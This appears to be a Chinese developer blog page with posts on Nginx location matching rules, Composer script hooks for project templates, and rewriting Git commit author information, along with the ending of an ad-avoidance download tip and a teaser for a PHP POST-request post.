
我测试了一下,不登录也能正常下载,所以对我来说问题不大。如果你需要登录账号的话,可以试试把其中某几行删掉,看看哪些是必须的。

这个小技巧虽然简单,但确实管用,希望能帮到同样被广告困扰的小伙伴。

最近团队在做前后端分离,前端这边接手了 Nginx 和 node 层。说实话,跟 Nginx 打交道的次数一下子多了起来,尤其是 location 配置,几乎每次上线都要改一改。

location 匹配规则看似简单,实则有不少细节容易忽略。今天就把我总结的 location 匹配规则分享出来,希望能帮到有需要的小伙伴。

先说语法

location 的语法其实挺简单的:

1
2
location [ = | ~ | ~* | ^~ ] uri { ... }
location @name { ... }

一个 location 关键字,后面跟着可选的修饰符,然后是要匹配的路径,花括号里是要执行的配置。

修饰符有四种:

  • = - 精确匹配,请求路径必须和后面的字符串完全一样才能命中
  • ~ - 正则匹配,区分大小写
  • ~* - 正则匹配,不区分大小写
  • ^~ - 前缀匹配,如果这个是最佳匹配,就不再继续查找正则了

匹配过程才是重点

知道语法只是第一步,真正让人头疼的是:这么多 location 放在一起,到底谁先匹配?

匹配过程大致是这样的:

第一步:先找前缀字符定义的 location,记录下最长匹配的那条。

第二步:如果找到了精确匹配(就是用了 = 修饰符的),直接用它的配置,结束查找。

第三步:按顺序找正则定义的 location,找到第一个匹配的就停,用它的配置。

第四步:如果正则都没匹配上,就用第一步记录的最长前缀匹配。

这里有两条很重要的结论:

  1. 正则 location 的顺序很重要!因为找到第一个匹配的正则就停了,后面定义的正则写得再好也没机会了。

  2. 用精确匹配 = 可以提高查找速度。比如经常请求根路径 /,可以用 location = / 来定义。

举个栗子

光说规则太抽象了,来看个实际配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
location = / {
[ configuration A ]
}

location / {
[ configuration B ]
}

location /user/ {
[ configuration C ]
}

location ^~ /images/ {
[ configuration D ]
}

location ~* \.(gif|jpg|jpeg)$ {
[ configuration E ]
}

咱们逐个请求来分析:

  • 请求 /匹配 A。精确匹配,直接命中,没二话。

  • 请求 /index.html匹配 B。先找前缀匹配,最长是 B。然后找正则,没匹配上,所以用 B。

  • 请求 /user/index.html匹配 C。前缀最长匹配是 C,后面没匹配的正则,就用 C。

  • 请求 /user/1.jpg匹配 E。前缀最长匹配是 C,但正则 E 匹配上了,正则优先级更高,所以用 E。这个坑我踩过!

  • 请求 /images/1.jpg匹配 D。前缀最长匹配是 D,因为用了 ^~ 修饰符,所以跳过正则查找,直接用 D。如果没有 ^~,其实会匹配 E。

  • 请求 /documents/about.html匹配 B。只有 B 能匹配上。

@name 是干嘛的

@ 用来定义一个命名 location,主要用于内部重定向,不能处理正常请求。

1
2
3
4
5
6
location / {
try_files $uri $uri/ @custom
}
location @custom {
# ...do something
}

当访问的 url 找不到对应文件时,就会重定向到 @custom 这个命名 location。挺好用的,特别是做 fallback 逻辑的时候。

不过要注意,命名 location 里面不能再嵌套其他命名 location。

结尾斜杠的事儿

关于 URL 结尾的 /,有三点值得说:

  1. location 配置里有没有 / 其实没影响,/user//user 是一样的。

  2. 如果 URL 是 https://domain.com/ 这种形式,结尾有没有 / 都不会重定向。因为浏览器发请求时默认会加上。

  3. 如果 URL 是 https://domain.com/some-dir/,结尾如果少了 / 会触发重定向。因为按照约定,结尾有 / 表示目录,没有表示文件。服务器找不到 some-dir 文件时,会把它当成目录,重定向到 /some-dir/

小结

最后总结一下优先级,从高到低:

  1. = 精确匹配(最高优先级,立即停止)
  2. ^~ 前缀匹配(停止正则搜索)
  3. ~~* 正则匹配(按配置文件顺序)
  4. 普通前缀匹配(最长匹配原则,最低优先级)

搞清楚这些规则后,配置 Nginx location 就更加得心应手了。希望这篇总结对大家有所帮助。

做 PHP 开发,composer installcomposer require 基本是日常,但 Composer 的钩子脚本,估计不少同学都没怎么用过。

最近想弄一个项目模板,让其他人可以通过 composer create-project 一键安装,安装完自动把 .env.example 复制成 .env、生成密钥、提示下一步操作。折腾了一番,踩了不少坑,今天把经验整理出来,希望能帮到有同样需求的同学。

先把坑填上:type 必须是 project

这个坑我踩得很惨——模板写好了,composer create-project 却死活装不了。

问题出在 composer.jsontype 字段。想用 create-project 安装,这个字段必须是 project,填 library 的话只能 composer require

建模板其实很简单:

1
2
mkdir my-project-template && cd my-project-template
composer init

composer init 的时候注意两点:一是 Package name 要用「作者名/包名」的格式,比如 l1n6yun/my-project-template;二是 Project typeproject

生成的 composer.json 最小结构:

1
2
3
4
5
6
7
{
"name": "l1n6yun/my-project-template",
"type": "project",
"require": {
"php": ">=7.4"
}
}

然后在模板里放好 .env.exampleindex.php 这些基础文件,一个能被 create-project 识别的模板就有了。

三个钩子的区别,搞清楚就够用了

Composer 钩子有好几个,但做项目模板主要用这三个:post-root-package-installpost-autoload-dumppost-create-project-cmd

post-root-package-install:模板刚下载完

用户执行 composer create-project,Composer 把你的模板下载下来,还没开始装依赖(此时 vendor 目录还不存在),这个钩子就触发了。

最适合干的事:复制 .env.example.env

为什么?因为这时候模板文件刚到位,.env 还不存在,是复制的最佳时机,而且不用依赖任何包,执行最快。Laravel 官方也是这么干的。

1
2
3
"post-root-package-install": [
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
]

用 PHP 的 copy() 函数,Windows、Linux、Mac 通用,不用管系统命令的差异。

post-autoload-dump:vendor/autoload.php 生成后

触发时机:composer installcomposer updatecomposer dump-autoload,以及 create-project 安装依赖完成后。

简单说,依赖装好了,需要用到 vendor 里的类了,这个钩子就派上用场了。

常见用途:框架的插件自动发现、生成缓存、初始化需要加载类的操作。

1
2
3
"post-autoload-dump": [
"@php artisan package:discover --ansi"
]

注意:别用这个钩子复制 .env,这时候依赖都装完了,再复制环境文件可能会出问题。

post-create-project-cmd:全部搞定,最后一步

create-project 流程全部结束后触发,依赖装好了、自动加载器也生成了,项目完全就绪。

最适合做的事:给用户友好提示、执行最终初始化操作。

1
2
3
4
"post-create-project-cmd": [
"@php artisan key:generate --ansi",
"echo 项目安装成功!执行 php artisan serve 启动服务~"
]

一套完整配置,直接拿去用

把三个钩子组合起来,就是一套完整的脚本配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"name": "l1n6yun/my-project-template",
"type": "project",
"require": {
"php": ">=7.4"
},
"scripts": {
"post-root-package-install": [
"@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
],
"post-autoload-dump": [
"@php artisan package:discover --ansi"
],
"post-create-project-cmd": [
"@php artisan key:generate --ansi",
"echo 项目安装成功!"
]
}
}

最后说几个注意点

  1. 执行顺序post-root-package-installpost-autoload-dumppost-create-project-cmd,顺序不能乱,否则依赖找不到、文件生成失败都会出现。

  2. 复制 .env:用 post-root-package-install,这是官方推荐的做法。

  3. @php 是什么:Composer 的内置命令,表示用当前项目的 PHP 解释器,避免系统 PHP 版本和项目要求不一致。

  4. 本地测试:模板建好后,执行 composer create-project ./my-project-template test-project,看 .env 是否自动生成、提示信息是否正常显示。

  5. 包还没发布怎么办:如果模板还在开发阶段,没有发布到 Packagist,可以用 --repository-url 参数指定仓库地址。比如你的模板托管在 GitHub,可以这样安装:

    1
    composer create-project l1n6yun/my-project-template my-app --repository-url=https://github.com/l1n6yun/my-project-template.git

这样就能直接从 Git 仓库拉取安装,不用先发布包。本地测试也可以用这个方式,把地址换成本地路径就行。

Composer 的钩子其实不难理解,关键是搞清楚每个钩子的触发时机,按需分配操作就行。掌握这三个,项目模板的自动化初始化就搞定了,用户的安装体验也能上一个台阶。

有问题欢迎评论区交流~

有时候写 PHP 项目,需要在服务端主动发起 POST 请求——比如调用第三方接口、模拟表单提交、做个简单的采集之类的。这种需求还挺常见的,我这里整理了三种常用方式,备忘一下。

阅读全文 »

平时写代码有没有遇到过这种情况:刚提交完,发现用错账号了——公司项目用了个人邮箱,或者反过来。我就干过这事,提交完了才看到 git log 里邮箱是自己的 Gmail,尴尬得很。

Git 提交记录里的作者信息,一旦提交就写进历史了,改起来确实麻烦。但也不是不能改,今天就把几种场景的方法说清楚,遇到问题直接照抄命令就行。

先说几句注意事项,省得踩坑:

  • 改提交记录会生成新的 commit hash,相当于重写历史
  • 如果已经 push 到远程了,改完得强制推送,会覆盖远程历史
  • 团队协作的话,改之前一定要通知大家,让人家先备份一下

先看看当前提交是啥情况

改之前先确认一下现在的提交信息:

1
2
3
4
5
6
7
# 看最近5条提交的作者、邮箱
git log --pretty=format:"%h %an <%ae> %s" -5

# 看当前仓库的 git 配置
git config --list --local | grep user
# 看全局配置
git config --list --global | grep user

这样能快速定位要改的是哪条提交。

场景一:刚提交完,发现用错账号了(还没 push)

这是最常见的情况,刚 commit 完,还没 push,发现作者信息错了。这种情况最简单,一条命令搞定。

方法一:直接指定新作者

不用改配置,直接改这次提交:

1
2
# 换成你的名字和邮箱
git commit --amend --author="张三 <zhangsan@company.com>" --no-edit

--no-edit 的意思是不改提交信息,只改作者。

方法二:先改配置再同步

如果你要长期用新账号,可以先把配置改了:

1
2
3
4
5
6
7
8
9
10
# 只对当前仓库生效(推荐,不影响其他项目)
git config user.name "张三"
git config user.email "zhangsan@company.com"

# 如果所有项目都要用这个账号,加 --global
# git config --global user.name "张三"
# git config --global user.email "zhangsan@company.com"

# 然后把最近一次提交的作者更新一下
git commit --amend --reset-author --no-edit

改完再看 git log,作者信息已经变了。

场景二:之前某次提交写错了(还没 push)

错的不一定是最近一次,可能是之前某一条。这种情况要用交互式变基,精准定位那条提交。

假设要改最近 3 条提交里的某一条:

第一步:启动变基

1
2
# 查看最近3条提交
git rebase -i HEAD~3

第二步:标记要改的提交

执行后会弹出编辑器(默认 vim),显示类似这样的内容:

1
2
3
pick abc1234 第一次提交
pick def5678 第二次提交
pick ghi9012 第三次提交

每条前面是 pick,表示保留这条提交。把要改的那条前面的 pick 改成 edit(或者简写 e),然后保存退出(vim 里按 Esc,输入 :wq 回车)。

第三步:修改作者

Git 会停在你标记的那条提交上,提示你可以修改了:

1
git commit --amend --author="张三 <zhangsan@company.com>" --no-edit

第四步:继续变基

1
git rebase --continue

如果要改多条,会一条条停让你改,重复步骤三四就行。

如果变基过程中冲突了,先解决冲突,然后 git add .,再 git rebase --continue

场景三:批量改,仓库里好多提交都要换人

如果是离职员工的提交要统一改掉,或者换企业邮箱后要批量更新,一条条改太累了。这种情况用 git filter-branch 批量处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 把旧邮箱的所有提交都改成新的作者信息
git filter-branch --env-filter '
OLD_EMAIL="old@example.com"
CORRECT_NAME="张三"
CORRECT_EMAIL="zhangsan@company.com"

# 改提交者
if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]; then
export GIT_COMMITTER_NAME="$CORRECT_NAME"
export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL"
fi

# 改作者
if [ "$GIT_AUTHOR_EMAIL" = "$OLD_EMAIL" ]; then
export GIT_AUTHOR_NAME="$CORRECT_NAME"
export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL"
fi
' -f --tag-name-filter cat -- --branches --tags

参数说明:

  • --env-filter:通过环境变量过滤修改
  • -f:强制覆盖之前的备份
  • --tag-name-filter cat:同步更新标签
  • --branches --tags:处理所有分支和标签

更快的工具:git filter-repo

git filter-branch 处理大仓库比较慢,官方推荐用 git filter-repo

1
2
3
4
5
6
7
8
9
10
11
12
# 先安装
pip install git-filter-repo

# 批量替换
git filter-repo --commit-callback '
if commit.author_email == b"old@example.com":
commit.author_name = b"张三"
commit.author_email = b"zhangsan@company.com"
if commit.committer_email == b"old@example.com":
commit.committer_name = b"张三"
commit.committer_email = b"zhangsan@company.com"
'

已经 push 了怎么办?

前面说的都是没 push 的情况。如果已经 push 到远程了,改完本地历史后必须强制推送:

1
2
3
4
5
# 推单个分支
git push origin main --force

# 推所有分支(慎用)
git push origin --force --all

强制推送会覆盖远程历史,团队协作的话一定要提前通知,让人家先 git pull --rebase 同步一下。

验证一下改没改对

改完确认一下:

1
2
3
4
5
6
# 看最近几条提交
git log --pretty=format:"%h %an <%ae> %s" -5

# 对比本地和远程
git fetch origin
git log --oneline HEAD..origin/main

没输出就说明同步好了。

几个常见问题

Q: vim 编辑器不会用怎么办?

vim 操作:按 i 进入编辑模式,改完按 Esc,输入 :wq 回车保存退出。

想换成记事本的话:git config --global core.editor notepad

Q: 强制推送后同事拉代码报错?

让同事执行:git pull --rebase origin main,有冲突解决冲突,然后 git add .,再 git rebase --continue

Q: 改完 commit hash 变了?

正常的,hash 是根据提交内容、作者、时间算出来的,改了作者 hash 肯定变。不影响功能,让大家同步一下就行。

Q: 能只改名字不改邮箱吗?

可以:git commit --amend --author="新名字 <旧邮箱>" --no-edit

总结

改 Git 提交作者,记住几个场景:

  • 刚提交还没 push:git commit --amend,最简单
  • 之前某条提交要改:git rebase -i,精准定位
  • 批量改:git filter-branchgit filter-repo

核心原则:没 push 的随便改,push 过的要谨慎,改完记得通知团队成员同步。

以后再遇到用错账号的情况,照着上面的命令抄就行,不用慌。

0%